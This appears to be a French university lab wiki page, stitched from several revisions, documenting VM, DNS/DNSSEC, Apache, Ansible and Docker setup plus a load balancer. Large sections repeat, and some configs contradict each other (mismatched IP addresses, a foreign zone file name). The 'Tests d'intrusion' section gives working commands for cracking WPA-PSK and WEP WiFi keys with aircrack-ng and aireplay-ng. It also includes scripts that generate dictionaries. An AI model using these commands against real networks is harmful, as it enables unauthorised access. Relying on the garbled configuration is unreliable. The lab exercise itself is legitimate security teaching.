DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:06:00Z

Zbriois : /* Equilibreur de charge */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:04:33Z

Zbriois : /* Equilibreur de charge */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''
